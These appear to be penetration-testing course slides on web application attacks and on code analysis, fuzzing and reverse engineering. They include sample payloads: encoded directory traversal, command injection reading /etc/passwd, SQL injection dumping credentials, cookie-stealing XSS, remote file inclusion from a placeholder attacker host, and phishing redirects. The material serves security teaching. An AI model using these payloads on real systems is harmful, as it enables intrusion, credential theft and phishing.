Testing Applications

- Exploit Web Application Vulnerabilities
- Test Source Code and Compiled Apps

Commonalities Among Web Application Vulnerabilities (Slide 1 of 2)

- Web apps interact with many users over a network.
  - Must be accessible to large numbers of people.
- Accessibility leads to attackers manipulating components.
  - Steal data, compromise sessions, disrupt operations, etc.
- Web apps communicate in common languages to support browsers and HTTP/S.
  - HTML and JavaScript are standard.
  - Might run on frameworks like AngularJS, Ruby on Rails, Django, etc.
  - Communicates with backend database using SQL.

Commonalities Among Web Application Vulnerabilities (Slide 2 of 2)

- General vulnerabilities you'll encounter:
  - Poorly implemented security configurations.
  - Failings in authentication and authorization.
  - Weaknesses to various types of code injection.
  - Weaknesses to XSS and CSRF.
  - Weaknesses to clickjacking.
  - Weaknesses to file inclusion.
  - Insecure coding practices.

Security Misconfiguration Exploits (Slide 1 of 3)

- Misconfigurations imply some function of app is implemented incorrectly.
  - May not have security protections at all.
- Examples:
  - Rolling your own encryption.
  - Failing to remove legacy content.
  - Failing to remove debugging controls.
  - Exposing sensitive data through unprotected files/folders.
  - Failing to patch vulnerabilities.
  - Failing to set secure values in web modules.
  - Processing sensitive data on the client side.
  - Failing to remove unused admin and default accounts.

Security Misconfiguration Exploits (Slide 2 of 3)

- Cookie manipulation:
  - Modify a web cookie in a malicious way.
  - E-commerce site has item price in user's cookie.
  - Modify cookie to lower price and send it back to server.
  - Properly configured cookies include session identifiers only.

Security Misconfiguration Exploits (Slide 3 of 3)

- Directory traversal:
  - Accessing a file from a location user is not authorized to access.
  - Induce web app to backtrack through directory path.
  - App reads or executes file in parent directory.
  - Example: Sending `../` or `..\` command to app/API.
  - Most effective if you can traverse up to root of server.
  - Works when app is improperly configured to access parent folders.
- Encode traversal text to get around filters:
  - `../` becomes `%2E%2E%2F` in hexadecimal.
  - `http://site.example/%2E%2E%2F%2E%2E%2FWindows/system32/cmd.exe`
- Double encode to get around stronger filters:
  - `%2E` becomes `%252E`.
  - `http://site.example/%252E%252E%252F%252E%252E%252FWindows/system32/cmd.exe`

Authentication Attacks (Slide 1 of 2)

- Cracking credentials:
  - Cracking techniques and tools also apply to web apps.
  - Weak passwords make it easier to crack.
  - App might have default credentials that haven't been changed.
  - Might be able to dump hashes for offline cracking.
- Session hijacking:
  - Users assigned session IDs in web cookies for authentication.
  - Steal session ID to take over session and assume user privileges.
  - Steal through sniffing, XSS, etc.
- Redirecting:
  - Append URL request to legitimate site.
  - `http://site.example/login?url=http://malice.example`
  - Useful with phishing as user recognizes and trusts legit site.
  - Could set up a login page on `http://malice.example` that looks like the real thing.

Authentication Attacks (Slide 2 of 2)

- Advanced redirect attack exploits `returnUrl` parameter in ASP.NET.
  - User's cookie expires or needs to be generated.
  - User is directed to legitimate site's default login page.
  - User authenticates, then is sent to page specified in `returnUrl`.
- Attack process:
  1. Send phishing email with HTML: `<a href="http://mybank.example/login?returnUrl=http://my.bank.example/login">Click here to sign in.</a>`
  2. User clicks link and is taken to legitimate login site.
  3. User enters credentials and is authenticated.
  4. Legitimate site redirects user to `http://my.bank.example/login`.
  5. Malicious page looks identical to legitimate page. Tells user to enter credentials again.
  6. User inputs credentials.
  7. Malicious page steals credentials and sends user back to legitimate site.
  8. Legitimate site already authenticated user, so user carries on as if nothing happened.

Authorization Attacks (Slide 1 of 2)

- Parameter pollution:
  - Supply multiple instances of same parameter in HTTP request.
  - App may not properly handle this.
  - Enables modification of values or triggering errors.
- Typical GET request example for search functionality:
  - `http://site.example/?search=treadmill`
- Polluting request with second `search` parameter:
  - `http://site.example/?search=treadmill&search`
  - App may only validate last occurrence of parameter.
  - Throws out empty parameter but keeps first one.
  - Page might return "treadmill" results or throw an error.
- POST request to sign in to web portal using security token:
  - `http://site.example/?token=<user token>&portalID=<victim portal ID>`

Authorization Attacks (Slide 2 of 2)

- Polluting request with second `portalID` parameter:
  - `http://site.example/?token=<attacker token>&portalID=<attacker portal ID>&portalID=<victim portal ID>`
- Direct object reference:
  - Reference to actual name of system object used by app.
- Manipulate parameter that directly references an object.
  - You can grant yourself access to objects you're not authorized to access.
- Example: SQL call might request account info by referencing `acctname` parameter.
  - Replace `acctname` value with different name/number.
  - Grants access to other account if insecurely referenced in app.

Injection Attacks (Slide 1 of 2)

Code injection: An attack that introduces malicious code into a vulnerable application to compromise the security of that application.

- Made possible due to weak or non-existent input processing.
- Enables:
  - DoS of app.
  - Privilege escalation.
  - Exposing and exfiltrating sensitive data.
  - Installing malware on server.
  - Defacing a website.
- Mechanisms and outcomes depend on language used in injection.
- Restricted to languages supported by web app technology.
  - You're adding to app's execution, not starting new execution.

Injection Attacks (Slide 2 of 2)

Command injection: An attack in which you supply malicious input that will be executed by the app server's command shell.

- Similar to code injection, but does create new instances of execution.
- Can leverage languages not supported by web app.
- Example: PHP module that deletes file based on user-supplied input:

```
<?php
$file=$_GET['file_name'];
system('rm $file');
?>
```

- Enumerate accounts with following request:
  - `http://site.example/delete_file.php?$file_name=test.txt;cat%20/etc/passwd`
- Adding semicolon executes command after semicolon in command shell.
  - `%20` is encoded version of a space.

SQL Injection (Slide 1 of 3)

An attack in which you modify one or more of the four basic functions of SQL querying by inputting SQL code in the web app.

- Basic functions: Selecting, inserting, deleting, updating data.
- Test every input element (URL parameters, form fields, cookies, etc.).
- Simplest injection method is to submit a single apostrophe.
  - Helps reveal errors in input handling.
  - May provide correct syntax needed.
  - Can help you construct more effective SQL injection query.
- Selecting user name and password:
  - `SELECT * FROM users WHERE username = 'Bob' AND password 'Pa22w0rd'`

SQL Injection (Slide 2 of 3)

- Adding apostrophe to user name field in login form:
  - `SELECT * FROM users WHERE username = ''' AND password 'Pa22w0rd'`
  - Apostrophe is not valid and may trigger an error.
  - Response can indicate column names.
  - Can also indicate where to add parentheses to complete syntax.
- Can also leverage always-true values and comment characters:
  - `1=1` is always true.
  - `--` starts comments; everything after is ignored.
- Enter `' or 1=1--` in user name field:
  - `SELECT * FROM users WHERE username = '' or 1=1--' AND password 'Pa22w0rd'`
  - Returns all rows since `1=1` is always true.
  - Everything after `--` will not execute.

SQL Injection (Slide 3 of 3)

- Certain web APIs allow stacking queries in same call.
- Example: UNION operation combines results of two or more SELECT statements.
  - Merge data from tables not directly exposed by app.
- Merge `users` table with `products` table:
  - `UNION SELECT '1', '2' FROM users--`
  - Looks for first two values from `users`.
- Only works when queries have same number of columns.
  - `UNION SELECT '1', '2', '3', '4', '5' FROM users--`
  - `products` table has five columns.
- Instead of placeholders, try providing actual column names:
  - `UNION SELECT '1', username, password, '4', '5' FROM users--`
  - Merges user name and password fields of each row in `users`.
  - Replaces second and third columns in search page.

HTML Injection

An attack in which you inject HTML elements into a web app for malicious purposes.

- Like other injections, you are targeting input components.
  - Adding valid code that the app will execute.
- Commonly used to modify page's contents.
- Example: Web app has a field for submitting feedback.
  - Feedback is displayed on page for others to see.
  - Field doesn't sanitize input.

```
I'm trying to sort the products but it's not working. Can anyone help?
<a href="http://malice.example">Click here to respond.</a>
```

  - HTML gets added to page because app fails to strip the tags out.
  - User browses page and can click the link.
- Example: Use with social engineering to send crafted link with injected code.
  - User profile page accepts `name` parameter.
  - `http://site.example/profile.html?name=<a%20href="http://malice.example">Your%20account%20has%201%20outstanding%20issue.</a>`

Cross-Site Scripting Attacks (Slide 1 of 2)

An attack in which you inject malicious JavaScript that executes on the client's browser.

- Can steal cookies, read sensitive info, inject malware, and more.
- One of the most popular and effective attacks.
- Three categories:
  - Stored (persistent): Inject scripts that remain on the server.
  - Reflected: Inject scripts that are sent to server and then bounce back to user.
  - DOM-based: Attack is perpetrated entirely on client side.
- Probe input components for XSS weaknesses.
- Basic example, injecting script into form to pop up on client's browser:
  - `<script>alert("Got you!")</script>`
  - Reflects off server in single response to client.

Cross-Site Scripting Attacks (Slide 2 of 2)

- Use social engineering to craft injected URL:
  - `http://site.example/?search=<script>alert("XSS%20attack!")<%2Fscript>`
- Persistent attack requires modifying data stored by app.
  - Try with forms you know store data, like site feedback page.
- Not all injection points are visible.
  - In products example, you'd need to change `products` table itself.
- May be able to POST data in HTTP request.
  - Depends on web app technology.

```
POST http://site.example/products
Content-Type: application/json
{"name": "row", "description": "<script>alert(document.cookie)</script>", "price": 9.99}
```

  - Adds new row to `products` table.
  - `description` entry will always pop up an alert with user's cookie info.

Cross-Site Request Forgery Attacks (Slide 1 of 2)

An attack in which you take advantage of the trust established between an authorized user of a website and the website itself.

- Exploits browser's trust in user's unexpired cookies.
- Take advantage of saved authentication data to access sensitive data.
- Consider target has a **Remember Me** check box when logging in.
  - Saves users from having to re-enter credentials every time.
  - User automatically logged in next time they visit site.
- Example: Users logs in to storefront with **Remember Me** checked.
  - Adds items to shopping cart, then logs out.
  - You examine site and note request parameters to update item quantities in cart.

Cross-Site Request Forgery Attacks (Slide 2 of 2)

- Craft URL and send to victim:
  - `http://site.example/cart?cartID=1&add_quant=5`
  - Victim clicks link and automatically signs in to site due to saved cookie.
  - Requested action executes automatically.
  - Quantity of first item is increased by 5.
- Power of CSRF is that it's difficult to detect.
  - Attack is carried out by browser as if user requested it.
  - User could enter same URL manually and get same result.
  - Nearly impossible for browser to distinguish CSRF from normal activity.
- Can be difficult to pull off CSRF, however.
  - Requires finding form that can do something malicious.
  - Requires knowing the right values that aren't obfuscated.
  - Sites that check referrer header will disallow requests from different origins.

Clickjacking (Slide 1 of 2)

An attack in which you trick a user into clicking a web page link that is different from where they had intended to go.

- Victim clicks link and may be redirected to a pharming page or other malicious page.
- Made possible by framing.
  - Delivers web content in HTML inline frames (`iframes`).
  - Use `iframe` to make it target of a link defined by other elements.
  - Invisible `iframe` may be accepting values, unbeknownst to user.
- Example: Twitter users posting "Don't Click: http://tinyurl.com/amgzs6“.
  - Page HTML revealed `iframe` that loaded Twitter reply functionality with filled-in content:
  - `<iframe src="http://twitter.com/home?status=Don't Click: http://tinyurl.com/amgzs6" scrolling="no"></iframe>`
  - Content self-replicated the attack.

Clickjacking (Slide 2 of 2)

- Below `iframe` was `<button>Don't Click</button>`.
  - Users clicked button but actually submitted Twitter request in `iframe`.
- Made possible because of way `iframe` was hidden "under" button in CSS.
  - Positional values for both elements lined up.
  - `iframe` opacity set to 0, hiding it from view.
  - Clicking button meant clicking the Twitter update request.
  - Clicking Twitter update request posted message propagating the attack.
- Twitter example was benign, but you can clickjack in much more malicious ways.

File Inclusion Attacks (Slide 1 of 2)

An attack in which you add a file to the running process of a web app.

- File is either malicious or altered to do something malicious.
- Leads to issues like:
  - Malicious code executing on server.
  - Malicious code executing on client accessing server.
  - Sensitive data leakage.
  - DoS.
- Remote: Inject external file into app that doesn't validate input.

File Inclusion Attacks (Slide 2 of 2)

- Example: Force parameter in page to call external link.
  - PHP page with `font` parameter with five options.
  - Inject an unvalidated option, specifically a URL.
  - URL contains malicious file.
  - `http://site.example/page.php?font=http://malice.example/bad_file.php`
- Local: Inject file into app that already exists on the server.
- Example: Execute command prompt on Windows.
  - Use directory traversal to execute file.
  - Leverage poison null byte to bypass file extension restrictions.
  - `http://site.example/page.php?font=../../Windows/system32/cmd.exe%00`

Web Shells

A script that has been loaded onto a web server that enables you to send remote commands to that server.

- Exfiltrate data, set botnet signals, install worms, etc.
- Loading shell can be done through XSS, SQL injection, RFI/LFI, and more.
- Functionality of shell can vary widely.
- Example b374k functionality:
  - File manager
  - Bind/reverse shell
  - Script execution
  - Packet crafter
  - SQL scheme explorer
  - Process/task manager
  - Mail client

Insecure Coding Practices

- Lack of input validation.
- Hard-coded credentials.
- Storage and/or transmission of sensitive data in cleartext.
- Unauthorized and/or insecure functions and unprotected APIs.
- Overly verbose errors.
- Lack of error handling.
- Hidden elements.
- Verbose comments in source code.
- Lack of code signing.
- Race conditions.

Guidelines for Exploiting Web Application Vulnerabilities (Slide 1 of 3)

- Perform recon on underlying web technologies used by the app.
- Manipulate data stored in cookies that a user shouldn't be able to modify.
- Use `../` to traverse the server's directory.
- Encode directory traversal in hex (`%2E%2E%2F`) to bypass rudimentary filters.
- Double encode `%` as `%25` to bypass filters that check for single encoding.
- Use poison null byte (`%00`) to bypass file extension restrictions in directory traversal.
- Use online and offline password cracking tools on a web app.
- Steal a user's session cookie and use it from your own machine.
- Send duplicate instances of a parameter in a request to exploit authorization.
- Leverage insecure direct object references to change parameter values.

Guidelines for Exploiting Web Application Vulnerabilities (Slide 2 of 3)

- Add a semicolon at end of request that makes a system call to execute a command.
- Use a single apostrophe in an input form to test for SQL errors.
- Use a statement like `OR 1=1` in SQL injection to retrieve all available values.
- Use SQL comment characters (`--`) to have app ignore a portion of the query.
- Combine tables with UNION SELECT to dump data from a table not accessible.
- Ensure both queries in UNION SELECT include same number of columns.
- Inject forms with HTML that includes malicious elements.
- Test for input fields' susceptibility to XSS attacks through JavaScript.
- Use social engineering to initiate a reflected XSS against a victim.
- Craft requests to manipulate tables with malicious scripts that get stored on server.

Guidelines for Exploiting Web Application Vulnerabilities (Slide 3 of 3)

- Leverage the trust established between client and server to execute CSRF.
- Hide web elements in an invisible `iframe` behind some other visible element.
- Exploit poor input validation in parameters to upload a remote file to server.
- Execute local files on server using directory traversal.
- Load a web shell onto server to gain control over the server.
- Test app for insecure coding practices like verbose error messages and comments.

Static Code Analysis

The process of reviewing source code while it is in a static state; i.e., it is not executing.

- Can be done manually or with automated tools.
- Pen tester with access to source code can identify:
  - How app functions.
  - Any security issues.
  - Any bugs.
- Reveals low-level perspective of app's logic.
  - Can provide you with details you wouldn't get during execution.
  - App can take limitless input permutations during execution.
  - Gain insight by inspecting input handler routine itself.
- Requires familiarity with target language.
- Automated tools target specific languages.

Dynamic Analysis (Slide 1 of 2)

The process of reviewing an app while it is executing.

- Reveals issues a static analysis might miss.
- Some issues are easier to identify when programming is running.
- Example: Knowing code behind input handling routine might not be enough.
  - Problem may only be understood when problematic input is provided.
- More common than static analysis in pen tests.
- Beyond web apps, you may need to test desktop/server/mobile apps.

Dynamic Analysis (Slide 2 of 2)

- Forms of dynamic analysis:
  - Testing for input weaknesses.
  - Testing behavior on specific platforms/environments.
  - Testing interaction with other apps.
- Don't necessarily need to know source language, but it could help.
- Can be done manually or with automated tools.

Fuzzing (Slide 1 of 2)

A dynamic testing method used to identify vulnerabilities in apps by sending the app random or unusual input and noting any failures.

- Can trigger buffer overflows and find memory leaks or other bugs.
- Can be done manually, but best done through an automated tool.
- Tools are called fuzzers.
  - Can target different types of input in different types of apps.
  - Input unusual characters in text fields.
  - Activate buttons in unusual patterns/frequency.
  - Inject faulty scripts into web forms.
- Fuzzers are effective for pen testing an app.
  - Find simple bugs, not complex ones.
  - Still enough to trigger big security issues.

Fuzzing (Slide 2 of 2)

- Example fuzzers: Peach Fuzzers, w3af, skipfish, Simple Fuzzer.
- Simple Fuzzer uses config file with input to be sent to app.
  - You can modify config file.
- Example: **fuzz.cfg**:

```
sequence=Ω≈ç√∫µ≤≥÷åß∂ƒ©˙∆˚¬…æœ∑´®†¥¨ˆøπ

maxseqlen=1000

endcfg
FUZZ
--
```

- Simple Fuzzer uses this to send 1,000 bytes of this input to an app's TCP socket:
  - `sfuzz -T -f fuzz.cfg -S 127.0.0.1 -p 9999`

Reverse Engineering (Slide 1 of 2)

The process of breaking down a program into its base components in order to reveal more about how it functions.

- Example: Analyzing how a program implements DRM copy protections.
  - Learn how the copy protection works at a low level.
  - Copy protection can be broken.
- May be able to obtain binaries during pen test.
- May be able to capture info about app as it's executing.

Reverse Engineering (Slide 2 of 2)

- Reverse engineer apps to look for weaknesses in:
  - Design
  - Programming
  - Implementation
- Three methods:
  - Decompilation
  - Disassembly
  - Debugging

Decompilation (Slide 1 of 3)

The reverse engineering process of translating an executable into high-level source code.

- Translates machine code of compiled binary into source code.
  - Source code was written by developer before being compiled.
- Can also translate intermediary bytecode executed by an interpreter.
- Deconstructing executables into source code can enable static analysis.

Decompilation (Slide 2 of 3)

- Use static analysis to determine if:
  - App's logic produces unintended results.
  - App uses insecure libraries/APIs.
  - App exhibits other poor coding practices.
- Some apps are easier to deconstruct than others.
  - Java class files are relatively easy to decompile.
  - Some languages/tools obfuscate code before compilation.
  - Obfuscated code is difficult for humans to understand.
  - Example: `count` variable in source code gets turned into `428932859365464564213 24`.

Decompilation (Slide 3 of 3)

Decompiler	Description
VB Decompiler	Used to restore source code for Visual Studio .NET compiled applications.
Delphi Decompiler (DeDe)	Used to restore source code for executables compiled with Delphi Builder, Kylix, and Kol.
Hex-Rays IDA	Converts native processor code into a human readable text. Supports many CPU types.
dotPeek	Decompiles .NET assemblies to C#. Supports DLLs, *.exe, and *.winmd metadata files.
CFF Explorer	Displays the programming language and platform the software was developed in.

Disassembly

The reverse engineering process of translating low-level machine code into higher level assembly language code.

- Assembly is lower level than source code, but still human readable.
- Purpose is to understand how app functions in ways not visible during execution.
- Performed by disassemblers.
- Disadvantages compared to decompilation:
  - Assembly code is less concise.
  - Assembly code is repetitive.
  - Linear flow of assembly code is not well structured.
  - Requires knowledge of assembly.
- More common than decompilers.
  - Accurate decompilation is difficult.
  - Disassembly is deterministic.

Debugging (Slide 1 of 2)

The process of manipulating a program's running state in order to analyze it for general bugs, vulnerabilities, and other issues.

- Stepping through, halting, or otherwise modifying portions of code.
  - Directly affects program as it executes.
- Common in IDEs for developing and testing code.
- Can also be used on compiled software.
  - Interactive reverse engineering.
- Can include a decompiler or a disassembler.
- Can aid a pen test through combination of static and dynamic analysis.
  - Change code to see its effect on the running program.
  - Easier to understand how app functions and is vulnerable.

Debugging (Slide 2 of 2)

Tool	Description
OLLYDBG	A debugger included with Kali Linux that analyzes binary code found in 32-bit Windows applications.
Immunity debugger	A debugger that includes both command-line and graphical user interfaces and that can load and modify Python scripts during runtime.
GDB	(GNU Project Debugger) An open source debugger that works on most Unix and Windows versions, along with macOS.
WinDBG	(Windows Debugger) A free debugging tool created and distributed by Microsoft for Windows operating systems.

Guidelines for Testing Source Code and Compiled Apps

- Perform static code analysis of source code you obtain in the pen test.
- Use static code analysis to look for vulnerabilities in the code.
- Perform dynamic analysis of compiled apps you target in the pen test.
- Test an app's inputs, behavior in environments, and interaction with other apps.
- Use automated tools to optimize static and dynamic analysis processes.
- Use fuzzers to send an app's input random or unusual values.
- Reverse engineer software to learn more about how it works.
- Use a decompiler to translate a binary executable into high-level source code.
- Understand that decompiled code can be obfuscated.
- Use a disassembler to translate a binary executable into assembly code.
- Understand that disassembled code can be difficult to read.
- Use a debugger to perform interactive reverse engineering on an app.

Reflective Questions

1. Have you tested web apps before? If so, what are some of the most effective exploits, in your experience? If not, what exploits do you think will be the most effective against your future targets?

2. Have you conducted testing and analysis of compiled apps as part of a pen test? If so, what was your experience? If not, what challenges do you anticipate if you have to do so in the future?